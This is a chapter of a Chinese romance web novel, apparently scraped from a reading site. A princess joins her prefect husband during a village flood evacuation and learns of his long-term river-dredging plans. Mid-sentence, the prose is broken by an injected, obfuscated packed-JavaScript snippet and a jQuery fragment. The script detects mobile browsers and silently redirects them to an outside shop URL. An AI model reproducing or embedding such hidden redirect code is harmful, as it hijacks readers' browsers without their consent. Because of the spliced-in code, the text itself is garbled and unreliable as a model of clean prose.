章河渡的老叔公最先发现李意清的身影。
他拄着拐杖的手颤颤巍巍,抬起干枯的手臂,遥遥指着骑在马上飞奔而来的李意清。
元辞章顺着他指的方向望过去。
只一眼,就不想再移开。
李意清朝元辞章露出一抹灿烂的笑,长长呼出一声“驭”。
骏马停下,李意清翻身下马,牵着马走到他的身边。
“知州大人,这位是?”
不明所以的众人纷纷询问。
元辞章目光温和地落在李意清的身上,数日不见,他的目光是自己都没能察觉到的温柔与缱绻。
李意清站在元辞章的身边,此行她没打算掩藏自己的身份,朝众人莞尔一笑。
“吾名李意清,元知州的妻子,家父顺成帝。”
家父顺成帝。
等等,家父顺成帝??
众人愣了一瞬间,立刻掀起惊涛骇浪,不敢置信地看向李意清。
这么说,她不就是於光公主。
为首的几个官员浸淫官场多年,早就混成了人精,回过神后,立刻朝着李意清拱手行礼。
“殿下安好。”
一时间,“殿下安好”之声此起彼伏。
章河渡的众人也不伦不类地朝她问好。
李意清摆了摆手,微微偏头询问元辞章:“现在是?”
元辞章清冷的目光沾染了烟火气。
他伸手牵起李意清的手,紧紧扣在手中,“没什么,都处理妥当。”
而后对着随行官员和章河渡村民道:“既然已经决定搬走,你们先各自回屋收拾自己的东西,等午时三刻,启程离开。”
闻言,章河渡的众人都有些怅然地看着山谷。
心中的不舍和理性在脑海中争斗,他们垂着脑袋,闷声应是。
说完,四散而去。
老叔公拄着拐杖走得极慢,他走走停停,抬头手掌轻轻拂过一棵老树。
今年雨势太大,这棵生长了三十多年的老树没能挺过去,原先繁茂的树冠出现了一片枯黄。
他叹息着,有人主动提出扶他回去,可却被他摇头拒绝。他独自拄着拐杖,慢慢地,越走越远。
李意清望着他的背影,忽然就体会到了他身上弥漫着的一股浓重到说不出的悲怅。
她有些茫然地抬头去看元辞章。
元辞章握紧了她的手,微微俯身在她耳边道:“回去与你细说。”
剩下的官员眼观鼻鼻观心,丝毫不敢抬头。
有人受不了这个气氛,主动上前一步拱手道:“於光公主,知州大人,下官也先去收拾一番。”
“下官也是。”
几人纷纷朝着两人致意,生怕因为自己的存在打扰两人叙话的兴致。
没一会儿,散了个干净。
没有人在场,元辞章忽然用额头轻轻抵靠着李意清的肩膀,声音沙哑疲惫,随着呼出的热气轻轻钻进李意清的耳中。
“借我靠一下。”
李意清被元辞章突如其来的举动打乱了节奏,她本想将带来的馅饼和水囊先递出去,听到元辞章的声音,默默将这件事情后移,抬起手微微犹豫,落在他的肩头三寸。
元辞章像是背后长了眼睛一般,主动伸手环抱住李意清。
他身量高挑,将人拢在怀中,怀中被捂得严严实实。
鼻尖,满是青竹气息。
李意清感受着温热的掌心落在自己的背脊和腰间,抬起的掌心落下,轻轻拍着元辞章的肩膀。
或许是一瞬间,又或许是一刻钟,两人在河边、山谷间、老树下静静相拥,仿佛天长地久。
元辞章贪婪地汲取着李意清的气息,像是沙漠中的旅人遇到了甘霖。
半响后,才松开李意清。
他的动作和往常并无什么不同,可是李意清敏锐地察觉到了一种“依依不舍”的情绪。
李意清竭力维持着自己淡然的表情,刻意忽视落在自己身上的视线。
平稳呼吸后,她轻轻踮起脚尖,一只手环在元辞章的脖颈,另一只手抬起,抚平他疲惫的眉目。
“我带了馅饼,尧臣亲手做的,还有清水,要不要用一些?”
李意清放软了自己的声音,带着诱哄。
“好。”
“然后你睡一会儿,午时三刻启程,我午时一刻喊你。”
“好。”
李意清停下脚步,定定地看着元辞章。
这一幕似曾相识,可是她已经想不起什么时候见过。
元辞章跟着她的脚步停下,“怎么了?”
“没什么,”李意清摇了摇头,主动握紧元辞章的手,“走哪边?”
*
两人回到了村中的小舍。
元尧臣的手艺好,即便半天过去,馅饼也没有变得软烂,依旧蓬松酥脆,一口下去满口生香。
李意清明明已经用过早饭,可是看见元辞章将第一块递给自己,还是伸手接过。
这一路过来,她确实也累了。
累了容易饿,她坐在元辞章的床边,安静地吃着饼。
一个接着一个,直到第三个的时候,李意清才发现元辞章还一口没吃,正半蹲着仰头,眉眼带着清浅的笑意。
李意清愣了一瞬,连忙伸手捂住自己鼓起的腮帮子。
像是一个吃东西被发现的小松鼠。
等口中的饼咽下,她才轻声道:“你看着我做什么?”
元辞章保持着原先的姿势,正欲开口,忽然听到李意清的话。
“不不不,你还是别说了。”
她伸手捂住了自己的耳朵。
元辞章现在坏得很,讲话要多直白有多直白,要是听到什么不该听到的,那可就不好了。
一声极低的轻笑清晰地传入了李意清的耳中。
元辞章伸手拿起李意清的左手,靠在自己的脸颊边。
指尖贴着柔软的唇一触即分。
李意清心跳几乎停止了,她低头,看着元辞章视若珍宝地将她的手拢在掌心。
“好,不说了。”
李意清:“……”
她在心中暗自腹诽,这样的动作,还不如直接开口说呢。
李意清实在害怕元辞章的口中又说出什么话,或者做出什么他意想不到的动作,连忙伸手拿起一张饼递到元辞章的手中。
“元尧臣的一番心意,不要浪费。”
等元辞章将两个饼吃掉,李意清一边将水囊递给他,一边道:“汪青野和彦文卓来找你了。”
元辞章挑了挑眉。
“青野重策,文卓务实,他们主动请缨过来,我并不意外。”
说完,他饮了两口水,有水珠顺着他的喉结滑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728533|129224||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
落,晶莹剔透。
然后才放下水囊,问道:“现在他们人呢?”
李意清:“我让他们去办事了。”
她简要讲述了方才发生的事情。
元辞章了然点头,微顿,轻声道:“辛苦了。”
“怎么会。”李意清有些心疼地看着元辞章的眉眼,“你快躺下休息片刻,到了时辰我叫你。”
元辞章确实很久没有睡过一个好觉了,闻言,点了点头,和衣躺在床上。
李意清坐在床边,没一会儿,就看见元辞章呼吸平稳,陷入了睡眠。
看来真的是困了。
李意清等了片刻,站起身,伸手打开了紧闭的窗户。
湿润的风吹窗外吹进来,吹走室内的燥热。
有事出门的许三回来的时候,以为房中只有元辞章一人,想也不想推开门走了进来。
李意清听到响动,朝着许三比了一个“嘘”。
许三看到李意清还愣了一瞬,不过很快就反应了过来,安静地走到她的身边。
“殿下。”
李意清微微颔首,视线不经意地扫过他手中的簿子。
许三献宝一样将簿子递了上去,谨慎地看了一眼睡眠的元辞章,压低了声音道:“这是公子让我整理的河流和田亩图册,公子说一时可以避祸,但是明年依旧会雨势汹汹,不如疏浚河道,开渠放源,兴建水木……我也没听得太懂,殿下您自己看看这张图就明白了。”
李意清伸手接过许三手中的簿子,翻看了几页,就明白了元辞章的打算。
大庆官员一地任期三年,故而上位官员大多倾向于做了就能立竿见影的实事,而不是这样长线的工程,硕果留于后人采撷。
许三看着李意清低垂的眼眸,心底漫上一股紧张,“怎么了?可是有什么不妥?”
李意清摇了摇头,声音轻柔:“没有,你做的很好。”
许三受到夸赞,有些害羞地挠了挠头。
李意清看着元辞章题写在最前页的字,比起三年前书房中的偶然一瞥,现在的应对策略更加详实完整,也有了实地考察出来的细节,两相合宜,即便日后元辞章被派遣到他地,舒州的下一任官员只需要按着他写好的方法一步步走下去,就不会出大错。
一瞬间,她心底感慨万千。
许三跟在元辞章身边陪读的时候并不认真,很多时候元辞章的吩咐他总是一知半解,不过好在,即便听不懂,他也会一一照做。
公子见识和学问都是顶好的,跟着他说的做,总归是出不了错的。
许三一直贯彻自己信任公子的信条,本想借机再夸赞自家公子几句,却忽然看到李意清微微垂下了眼眸。
她的嘴角微微弯起,像是绚烂的晚霞,可是低垂的眼眸,却又透露出了几分落寞。
许三无比清晰的感知到:李意清身上透露出淡淡的难过。
他一下子慌了,要是元辞章醒来看见难过的李意清,估计要冷脸对他一个月不止。
“殿下,殿下。”许三急得团团转,他藏在袖子中的手抓紧自己的掌心,脑海飞快转动,灵光一现,他出声道,“殿下,你想不想知道公子是怎么说服章河渡众人暂且出门避祸的?原先章河渡众人都不愿意离开故土,后来发生了两件事情……”
许三讲得很快,生怕说慢了一秒钟,李意清的眼泪就会落下。